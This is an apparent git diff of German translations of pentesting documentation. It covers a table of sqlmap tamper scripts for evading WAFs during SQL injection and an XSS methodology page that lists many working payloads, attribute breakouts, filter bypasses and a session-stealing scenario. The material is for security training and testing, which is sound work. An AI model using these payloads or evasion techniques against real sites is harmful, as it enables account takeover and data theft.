| bluecoat.py | Ersetzt das Leerzeichen nach der SQL-Anweisung durch ein gültiges zufälliges Leerzeichen. Danach wird das Zeichen = durch den LIKE-Operator ersetzt |
|
||||
| chardoubleencode.py | Doppelt URL-kodiert alle Zeichen in einer gegebenen Nutzlast \(nicht bereits kodierte Zeichen werden nicht verarbeitet\) |
|
||||
| commalesslimit.py | Ersetzt Instanzen wie 'LIMIT M, N' durch 'LIMIT N OFFSET M' |
|
||||
| chardoubleencode.py | Doppelt URL-kodiert alle Zeichen in einer gegebenen Payload \(nicht bereits kodierte Zeichen verarbeiten\) |
|
||||
| commalesslimit.py | Ersetzt Instanzen wie 'LIMIT M, N' durch 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Ersetzt Instanzen wie 'MID\(A, B, C\)' durch 'MID\(A FROM B FOR C\)' |
|
||||
| concat2concatws.py | Ersetzt Instanzen wie 'CONCAT\(A, B\)' durch 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
|
||||
| charencode.py | URL-kodiert alle Zeichen in einer gegebenen Nutzlast \(nicht bereits kodierte Zeichen werden nicht verarbeitet\) |
|
||||
| charunicodeencode.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Nutzlast \(nicht bereits kodierte Zeichen werden nicht verarbeitet\). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Nutzlast \(nicht bereits kodierte Zeichen werden nicht verarbeitet\). "\u0022" |
|
||||
| charencode.py | URL-kodiert alle Zeichen in einer gegebenen Payload \(nicht bereits kodierte Zeichen verarbeiten\) |
|
||||
| charunicodeencode.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload \(nicht bereits kodierte Zeichen verarbeiten\). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload \(nicht bereits kodierte Zeichen verarbeiten\). "\u0022" |
|
||||
| equaltolike.py | Ersetzt alle Vorkommen des Operators gleich \('='\) durch den Operator 'LIKE' |
|
||||
| escapequotes.py | Schrägstrich-Escape für Anführungszeichen \(' und "\) |
|
||||
| greatest.py | Ersetzt den Größer-als-Operator \('>'\) durch das 'GREATEST'-Gegenstück |
|
||||
| halfversionedmorekeywords.py | Fügt vor jedem Schlüsselwort einen versionierten MySQL-Kommentar hinzu |
|
||||
| ifnull2ifisnull.py | Ersetzt Instanzen wie 'IFNULL\(A, B\)' durch 'IF\(ISNULL\(A\), B, A\)' |
|
||||
| escapequotes.py | Schrägstrich-Escape für Anführungszeichen \(' und "\) |
|
||||
| greatest.py | Ersetzt den Größer-als-Operator \('>'\) durch das 'GREATEST'-Gegenstück |
|
||||
| halfversionedmorekeywords.py | Fügt vor jedem Schlüsselwort einen versionierten MySQL-Kommentar hinzu |
|
||||
| ifnull2ifisnull.py | Ersetzt Instanzen wie 'IFNULL\(A, B\)' durch 'IF\(ISNULL\(A\), B, A\)' |
|
||||
| modsecurityversioned.py | Umgibt die gesamte Abfrage mit einem versionierten Kommentar |
|
||||
| modsecurityzeroversioned.py | Umgibt die gesamte Abfrage mit einem null-versionierten Kommentar |
|
||||
| modsecurityzeroversioned.py | Umgibt die gesamte Abfrage mit einem null-versionierten Kommentar |
|
||||
| multiplespaces.py | Fügt mehrere Leerzeichen um SQL-Schlüsselwörter hinzu |
|
||||
| nonrecursivereplacement.py | Ersetzt vordefinierte SQL-Schlüsselwörter durch für den Ersatz geeignete Darstellungen \(z.B. .replace\("SELECT", ""\)\) Filter |
|
||||
| nonrecursivereplacement.py | Ersetzt vordefinierte SQL-Schlüsselwörter durch Darstellungen, die für die Ersetzung geeignet sind \(z.B. .replace\("SELECT", ""\)\) Filter |
|
||||
| percentage.py | Fügt ein Prozentzeichen \('%'\) vor jedem Zeichen hinzu |
|
||||
| overlongutf8.py | Konvertiert alle Zeichen in einer gegebenen Nutzlast \(nicht bereits kodierte Zeichen werden nicht verarbeitet\) |
|
||||
| randomcase.py | Ersetzt jedes Schlüsselwortzeichen durch einen zufälligen Groß- oder Kleinbuchstaben |
|
||||
| overlongutf8.py | Konvertiert alle Zeichen in einer gegebenen Payload \(nicht bereits kodierte Zeichen verarbeiten\) |
|
||||
| randomcase.py | Ersetzt jedes Schlüsselwortzeichen durch einen zufälligen Groß- oder Kleinbuchstaben |
|
||||
| randomcomments.py | Fügt zufällige Kommentare zu SQL-Schlüsselwörtern hinzu |
|
||||
| securesphere.py | Fügt eine speziell gestaltete Zeichenfolge hinzu |
|
||||
| sp_password.py | Fügt 'sp_password' am Ende der Nutzlast zur automatischen Obfuskation aus DBMS-Protokollen hinzu |
|
||||
| sp_password.py | Fügt 'sp_password' am Ende der Payload zur automatischen Obfuskation aus DBMS-Protokollen hinzu |
|
||||
| space2comment.py | Ersetzt das Leerzeichen \(' '\) durch Kommentare |
|
||||
| space2dash.py | Ersetzt das Leerzeichen \(' '\) durch einen Strichkommentar \('--'\), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile \('\n'\) |
|
||||
| space2hash.py | Ersetzt das Leerzeichen \(' '\) durch ein Pfundzeichen \('\#'\), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile \('\n'\) |
|
||||
| space2morehash.py | Ersetzt das Leerzeichen \(' '\) durch ein Pfundzeichen \('\#'\), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile \('\n'\) |
|
||||
| space2mssqlblank.py | Ersetzt das Leerzeichen \(' '\) durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen |
|
||||
| space2mssqlblank.py | Ersetzt das Leerzeichen \(' '\) durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen |
|
||||
| space2mssqlhash.py | Ersetzt das Leerzeichen \(' '\) durch ein Pfundzeichen \('\#'\), gefolgt von einer neuen Zeile \('\n'\) |
|
||||
| space2mysqlblank.py | Ersetzt das Leerzeichen \(' '\) durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen |
|
||||
| space2mysqlblank.py | Ersetzt das Leerzeichen \(' '\) durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen |
|
||||
| space2mysqldash.py | Ersetzt das Leerzeichen \(' '\) durch einen Strichkommentar \('--'\), gefolgt von einer neuen Zeile \('\n'\) |
|
||||
| space2plus.py | Ersetzt das Leerzeichen \(' '\) durch ein Pluszeichen \('+'\) |
|
||||
| space2randomblank.py | Ersetzt das Leerzeichen \(' '\) durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen |
|
||||
| space2plus.py | Ersetzt das Leerzeichen \(' '\) durch ein Plus \('+'\) |
|
||||
| space2randomblank.py | Ersetzt das Leerzeichen \(' '\) durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen |
|
||||
| symboliclogical.py | Ersetzt die logischen Operatoren AND und OR durch ihre symbolischen Gegenstücke \(&& und |
|
||||
| unionalltounion.py | Ersetzt UNION ALL SELECT durch UNION SELECT |
|
||||
| unmagicquotes.py | Ersetzt das Anführungszeichen \('\) durch eine Multi-Byte-Kombination %bf%27 zusammen mit einem generischen Kommentar am Ende \(um es zum Laufen zu bringen\) |
|
||||
| uppercase.py | Ersetzt jedes Schlüsselwortzeichen durch den Großbuchstaben 'INSERT' |
|
||||
| uppercase.py | Ersetzt jedes Schlüsselwortzeichen durch den Großbuchstaben 'INSERT' |
|
||||
| varnish.py | Fügt einen HTTP-Header 'X-originating-IP' hinzu |
|
||||
| versionedkeywords.py | Umgibt jedes Nicht-Funktionsschlüsselwort mit einem versionierten MySQL-Kommentar |
|
||||
| versionedkeywords.py | Umgibt jedes nicht-funktionale Schlüsselwort mit einem versionierten MySQL-Kommentar |
|
||||
| versionedmorekeywords.py | Umgibt jedes Schlüsselwort mit einem versionierten MySQL-Kommentar |
|
||||
| xforwardedfor.py | Fügt einen gefälschten HTTP-Header 'X-Forwarded-For' hinzu |
|
||||
|
||||
|
@ -1,5 +1,7 @@
|
||||
# XSS (Cross Site Scripting)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Methodologie
|
||||
|
||||
1. Überprüfen Sie, ob **irgendein Wert, den Sie kontrollieren** (_Parameter_, _Pfad_, _Header_?, _Cookies_?) im HTML **reflektiert** oder von **JS**-Code **verwendet** wird.
|
||||
@ -35,10 +37,10 @@ debugging-client-side-js.md
|
||||
|
||||
## Reflektierte Werte
|
||||
|
||||
Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen **Wert finden, der von Ihnen kontrolliert wird und im Webpage reflektiert wird**.
|
||||
Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen **von Ihnen kontrollierten Wert finden, der im Webpage reflektiert wird**.
|
||||
|
||||
- **Zwischendurch reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar der Pfad im Webpage reflektiert wird, könnten Sie eine **Reflected XSS** ausnutzen.
|
||||
- **Gespeichert und reflektiert**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert wird und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine **Stored XSS** ausnutzen.
|
||||
- **Zwischengespeichert reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar der Pfad in der Webseite reflektiert wird, könnten Sie eine **Reflected XSS** ausnutzen.
|
||||
- **Gespeichert und reflektiert**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert ist und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine **Stored XSS** ausnutzen.
|
||||
- **Über JS zugegriffen**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert über JS zugegriffen wird, könnten Sie eine **DOM XSS** ausnutzen.
|
||||
|
||||
## Kontexte
|
||||
@ -47,7 +49,7 @@ Wenn Sie versuchen, eine XSS auszunutzen, müssen Sie zuerst wissen, **wo Ihre E
|
||||
|
||||
### Rohes HTML
|
||||
|
||||
Wenn Ihre Eingabe im **rohen HTML** der Seite **reflektiert wird**, müssen Sie einige **HTML-Tags** ausnutzen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... das sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
|
||||
Wenn Ihre Eingabe **im rohen HTML** der Seite reflektiert wird, müssen Sie einige **HTML-Tags** ausnutzen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... das sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
|
||||
Denken Sie auch an [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Innerhalb von HTML-Tag-Attributen
|
||||
@ -57,7 +59,7 @@ Wenn Ihre Eingabe im Wert des Attributs eines Tags reflektiert wird, könnten Si
|
||||
1. Von **dem Attribut und dem Tag zu entkommen** (dann sind Sie im rohen HTML) und ein neues HTML-Tag zu erstellen, um es auszunutzen: `"><img [...]`
|
||||
2. Wenn Sie **vom Attribut, aber nicht vom Tag entkommen können** (`>` ist kodiert oder gelöscht), könnten Sie je nach Tag **ein Ereignis erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="`
|
||||
3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), dann können Sie je nach **welchem Attribut** Ihr Wert reflektiert wird **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
||||
4. Wenn Ihre Eingabe innerhalb von "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie versuchen, den **`accesskey`**-Trick zu verwenden, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
4. Wenn Ihre Eingabe innerhalb von "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie versuchen, den **`accesskey`**-Trick auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen kontrollieren:
|
||||
```html
|
||||
@ -69,12 +71,12 @@ Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen k
|
||||
|
||||
In diesem Fall wird Ihre Eingabe zwischen **`<script> [...] </script>`**-Tags einer HTML-Seite, in einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`**-Protokoll reflektiert:
|
||||
|
||||
- Wenn sie zwischen **`<script> [...] </script>`**-Tags reflektiert wird, können Sie versuchen, `</script>` einzufügen und aus diesem Kontext zu entkommen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** parst und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes `</script>`-Tag im HTML-Code enthalten ist.
|
||||
- Wenn es **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String **verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt):
|
||||
- Wenn sie zwischen **`<script> [...] </script>`**-Tags reflektiert wird, können Sie versuchen, `</script>` einzufügen und aus diesem Kontext auszubrechen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** analysiert und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes `</script>`-Tag im HTML-Code enthalten ist.
|
||||
- Wenn sie **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String **verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Wenn es innerhalb von Template-Literalen reflektiert wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- Wenn sie innerhalb von Template-Literalen reflektiert wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode-Encoding** funktioniert, um **gültigen JavaScript-Code** zu schreiben:
|
||||
```javascript
|
||||
alert(1)
|
||||
@ -100,7 +102,7 @@ Eine gute Möglichkeit herauszufinden, ob etwas, das direkt vom Benutzer gegeben
|
||||
|
||||
Falls es anfällig ist, könnten Sie in der Lage sein, **einen Alert auszulösen**, indem Sie einfach den Wert senden: **`?callback=alert(1)`**. Es ist jedoch sehr häufig, dass diese Endpunkte **den Inhalt validieren**, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen (**`[\w\._]`**).
|
||||
|
||||
Dennoch ist es selbst mit dieser Einschränkung möglich, einige Aktionen durchzuführen. Das liegt daran, dass Sie diese gültigen Zeichen verwenden können, um **auf jedes Element im DOM zuzugreifen**:
|
||||
Trotz dieser Einschränkung ist es immer noch möglich, einige Aktionen durchzuführen. Das liegt daran, dass Sie diese gültigen Zeichen verwenden können, um **auf jedes Element im DOM zuzugreifen**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -147,11 +149,11 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
.jpg>)
|
||||
|
||||
## In rohes HTML injizieren
|
||||
## In rohem HTML injizieren
|
||||
|
||||
Wenn Ihre Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder Sie HTML-Code in diesem Kontext entkommen und injizieren können, ist das **erste**, was Sie tun müssen, zu überprüfen, ob Sie `<` ausnutzen können, um neue Tags zu erstellen: Versuchen Sie einfach, dieses **Zeichen** zu **reflektieren** und überprüfen Sie, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **unverändert widergespiegelt** wird. **Nur im letzten Fall werden Sie in der Lage sein, diesen Fall auszunutzen**.\
|
||||
Wenn Ihre Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder Sie HTML-Code in diesem Kontext entkommen und injizieren können, ist das **erste**, was Sie tun müssen, zu überprüfen, ob Sie `<` ausnutzen können, um neue Tags zu erstellen: Versuchen Sie einfach, dieses **Zeichen** zu **reflektieren** und zu überprüfen, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **unverändert widergespiegelt** wird. **Nur im letzten Fall werden Sie in der Lage sein, diesen Fall auszunutzen**.\
|
||||
Für diese Fälle sollten Sie auch **im Hinterkopf behalten** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Hinweis: Ein HTML-Kommentar kann mit\*\***\***\*`-->`\*\***\***\*oder \*\***`--!>`\*\*geschlossen werden._
|
||||
_**Hinweis: Ein HTML-Kommentar kann mit\*\***\***\*`-->`\*\***\***\*oder \*\***`--!>`\*\*_ geschlossen werden.
|
||||
|
||||
In diesem Fall und wenn keine Black-/Whitelisting verwendet wird, könnten Sie Payloads wie verwenden:
|
||||
```html
|
||||
@ -234,8 +236,8 @@ onerror=alert`1`
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
Die letzte verwendet 2 Unicode-Zeichen, die sich auf 5 erweitern: telsr\
|
||||
Mehr dieser Zeichen finden Sie [hier](https://www.unicode.org/charts/normalization/).\
|
||||
Um zu überprüfen, in welche Zeichen zerlegt werden, schauen Sie [hier](https://www.compart.com/en/unicode/U+2121).
|
||||
Weitere dieser Zeichen finden Sie [hier](https://www.unicode.org/charts/normalization/).\
|
||||
Um zu überprüfen, in welche Zeichen zerlegt werden, überprüfen Sie [hier](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
@ -243,13 +245,13 @@ Wenn Sie zur Ausnutzung der Schwachstelle den **Benutzer dazu bringen müssen, a
|
||||
|
||||
### Unmöglich - Dangling Markup
|
||||
|
||||
Wenn Sie denken, dass **es unmöglich ist, ein HTML-Tag mit einem Attribut zu erstellen, um JS-Code auszuführen**, sollten Sie [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) überprüfen, da Sie die Schwachstelle **ausnutzen** könnten, **ohne** **JS**-Code auszuführen.
|
||||
Wenn Sie nur denken, dass **es unmöglich ist, ein HTML-Tag mit einem Attribut zu erstellen, um JS-Code auszuführen**, sollten Sie [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) überprüfen, da Sie die Schwachstelle **ausnutzen** könnten, **ohne** **JS**-Code auszuführen.
|
||||
|
||||
## Injizieren innerhalb eines HTML-Tags
|
||||
|
||||
### Innerhalb des Tags/Entkommen aus dem Attributwert
|
||||
|
||||
Wenn Sie **innerhalb eines HTML-Tags** sind, ist das Erste, was Sie versuchen könnten, **aus dem Tag zu entkommen** und einige der in der [vorherigen Sektion](#injecting-inside-raw-html) erwähnten Techniken zu verwenden, um JS-Code auszuführen.\
|
||||
Wenn Sie **innerhalb eines HTML-Tags** sind, ist das Erste, was Sie versuchen könnten, sich **aus dem Tag zu befreien** und einige der in der [vorherigen Sektion](#injecting-inside-raw-html) erwähnten Techniken zu verwenden, um JS-Code auszuführen.\
|
||||
Wenn Sie **nicht aus dem Tag entkommen können**, könnten Sie neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einer Payload wie (_beachten Sie, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut zu entkommen, Sie benötigen sie nicht, wenn Ihre Eingabe direkt im Tag widergespiegelt wird_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
@ -351,7 +353,7 @@ _**In diesem Fall ist der HTML-Encoding- und der Unicode-Encoding-Trick aus dem
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Darüber hinaus gibt es einen weiteren **schönen Trick** für diese Fälle: **Selbst wenn Ihre Eingabe innerhalb von `javascript:...` URL-codiert ist, wird sie vor der Ausführung URL-dekodiert.** Wenn Sie also aus der **Zeichenkette** mit einem **einzelnen Anführungszeichen** **entkommen** müssen und sehen, dass **es URL-codiert ist**, denken Sie daran, dass **es keine Rolle spielt,** es wird zur **Ausführungszeit** als **einzelnes Anführungszeichen** **interpretiert**.
|
||||
Darüber hinaus gibt es einen weiteren **schönen Trick** für diese Fälle: **Selbst wenn Ihre Eingabe innerhalb von `javascript:...` URL-codiert ist, wird sie vor der Ausführung URL-decodiert.** Wenn Sie also aus der **Zeichenkette** mit einem **einzelnen Anführungszeichen** **entkommen** müssen und sehen, dass **es URL-codiert ist**, denken Sie daran, dass **es keine Rolle spielt,** es wird zur **Ausführungszeit** als **einzelnes Anführungszeichen** **interpretiert.**
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -386,7 +388,7 @@ Wenn Sie eine beliebige URL in ein beliebiges **`<a href=`** Tag einfügen könn
|
||||
### Umgehung von Ereignis-Handlern
|
||||
|
||||
Überprüfen Sie zunächst diese Seite ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) für nützliche **"on" Ereignis-Handler**.\
|
||||
Falls es eine Blacklist gibt, die Sie daran hindert, diese Ereignis-Handler zu erstellen, können Sie die folgenden Umgehungen versuchen:
|
||||
Falls es eine schwarze Liste gibt, die Sie daran hindert, diese Ereignis-Handler zu erstellen, können Sie die folgenden Umgehungen versuchen:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -422,7 +424,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können eine **XSS-Nutzlast in einem versteckten Attribut** ausführen, vorausgesetzt, Sie können das **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und unter OS X ist es **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im Attribut für den Zugriffsschlüssel verwenden. Hier ist der Vektor:
|
||||
Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können eine **XSS-Nutzlast in einem versteckten Attribut** ausführen, vorausgesetzt, Sie können den **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und unter OS X ist es **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im Attribut für den Zugriffsschlüssel verwenden. Hier ist der Vektor:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
@ -438,13 +440,13 @@ Mehrere Tricks mit verschiedenen Kodierungen wurden bereits in diesem Abschnitt
|
||||
- **Hex- und Oktal-Kodierung**
|
||||
- **Datenkodierung**
|
||||
|
||||
**Umgehungen für HTML-Tags und Attribute**
|
||||
**Umgehungen für HTML-Tags und -Attribute**
|
||||
|
||||
Lies die [Blacklist-Umgehungen des vorherigen Abschnitts](#blacklist-bypasses).
|
||||
|
||||
**Umgehungen für JavaScript-Code**
|
||||
|
||||
Lies die [JavaScript-Umgehungs-Blacklist des folgenden Abschnitts](#javascript-bypass-blacklists-techniques).
|
||||
Lies die [JavaScript-Umgehung-Blacklist des folgenden Abschnitts](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
@ -452,7 +454,7 @@ Wenn du ein **XSS in einem sehr kleinen Teil** des Webs gefunden hast, das eine
|
||||
|
||||
Zum Beispiel könntest du dem Element ein Styling hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Aber, wenn das WAF das style-Attribut filtert, kannst du CSS-Styling-Gadgets verwenden. Wenn du zum Beispiel findest
|
||||
Aber, wenn das WAF das style-Attribut filtert, kannst du CSS Styling Gadgets verwenden, also wenn du zum Beispiel findest
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
@ -480,7 +482,7 @@ Beachten Sie, dass wir in diesem Beispiel **das einfache Anführungszeichen nich
|
||||
|
||||
### Innerhalb des JS-Codes
|
||||
|
||||
Wenn `<>` bereinigt werden, können Sie dennoch **den String escapen**, wo Ihre Eingabe **lokalisiert** ist und **willkürliches JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, denn wenn es Fehler gibt, wird der JS-Code nicht ausgeführt:
|
||||
Wenn `<>` bereinigt werden, können Sie dennoch **den String escapen**, wo sich Ihre Eingabe **befindet** und **willkürliches JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, denn wenn es Fehler gibt, wird der JS-Code nicht ausgeführt:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -739,14 +741,14 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **DOM-Sicherheitsanfälligkeiten**
|
||||
|
||||
Es gibt **JS-Code**, der **unsichere Daten, die von einem Angreifer kontrolliert werden**, wie `location.href`, verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.\
|
||||
Es gibt **JS-Code**, der **unsichere Daten verwendet, die von einem Angreifer kontrolliert werden**, wie `location.href`. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.\
|
||||
**Aufgrund der Erweiterung der Erklärung von** [**DOM-Sicherheitsanfälligkeiten wurde es auf diese Seite verschoben**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Dort finden Sie eine detaillierte **Erklärung, was DOM-Sicherheitsanfälligkeiten sind, wie sie provoziert werden und wie man sie ausnutzt**.\
|
||||
Dort finden Sie eine detaillierte **Erklärung, was DOM-Sicherheitsanfälligkeiten sind, wie sie provoziert werden und wie man sie ausnutzen kann**.\
|
||||
Vergessen Sie auch nicht, dass **am Ende des erwähnten Beitrags** eine Erklärung über [**DOM Clobbering-Angriffe**](dom-xss.md#dom-clobbering) zu finden ist.
|
||||
|
||||
### Selbst-XSS aufrüsten
|
||||
@ -767,7 +769,7 @@ Vielleicht kann ein Benutzer sein Profil mit dem Administrator teilen, und wenn
|
||||
|
||||
### Sitzungs-Spiegelung
|
||||
|
||||
Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, die es beispielsweise den Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber von seiner Sitzung aus.
|
||||
Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, die es beispielsweise Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber von seiner Sitzung aus.
|
||||
|
||||
Sie könnten den **Administrator dazu bringen, Ihr Selbst-XSS auszulösen** und seine Cookies/Sitzung stehlen.
|
||||
|
||||
@ -783,7 +785,7 @@ Sie könnten überprüfen, ob die **reflektierten Werte** auf dem Server (oder a
|
||||
```
|
||||
### Ruby-On-Rails Bypass
|
||||
|
||||
Aufgrund der **RoR-Massenzuweisung** werden Anführungszeichen in das HTML eingefügt und dann wird die Anführungszeichenbeschränkung umgangen, sodass zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\
|
||||
Aufgrund der **RoR-Massenzuweisung** werden Anführungszeichen in das HTML eingefügt, und dann wird die Anführungszeichenbeschränkung umgangen, sodass zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\
|
||||
Formbeispiel ([aus diesem Bericht](https://hackerone.com/reports/709336)), wenn Sie die Payload senden:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -833,7 +835,7 @@ Frühere bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leerer
|
||||
|
||||
### Nur Buchstaben, Zahlen und Punkte
|
||||
|
||||
Wenn Sie in der Lage sind, den **Callback** anzugeben, den JavaScript ausführen wird, ist dies auf diese Zeichen beschränkt. [**Lesen Sie diesen Abschnitt dieses Beitrags**](#javascript-function), um herauszufinden, wie Sie dieses Verhalten ausnutzen können.
|
||||
Wenn Sie in der Lage sind, den **Callback** anzugeben, den JavaScript ausführen wird, beschränkt auf diese Zeichen. [**Lesen Sie diesen Abschnitt dieses Beitrags**](#javascript-function), um herauszufinden, wie Sie dieses Verhalten ausnutzen können.
|
||||
|
||||
### Gültige `<script>` Content-Types für XSS
|
||||
|
||||
@ -871,8 +873,8 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```
|
||||
Die Antwort ist:
|
||||
|
||||
- **Modul** (Standard, nichts zu erklären)
|
||||
- [**Webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in eine **`.wbn`**-Datei bündeln können.
|
||||
- **module** (Standard, nichts zu erklären)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in einer **`.wbn`**-Datei bündeln können.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
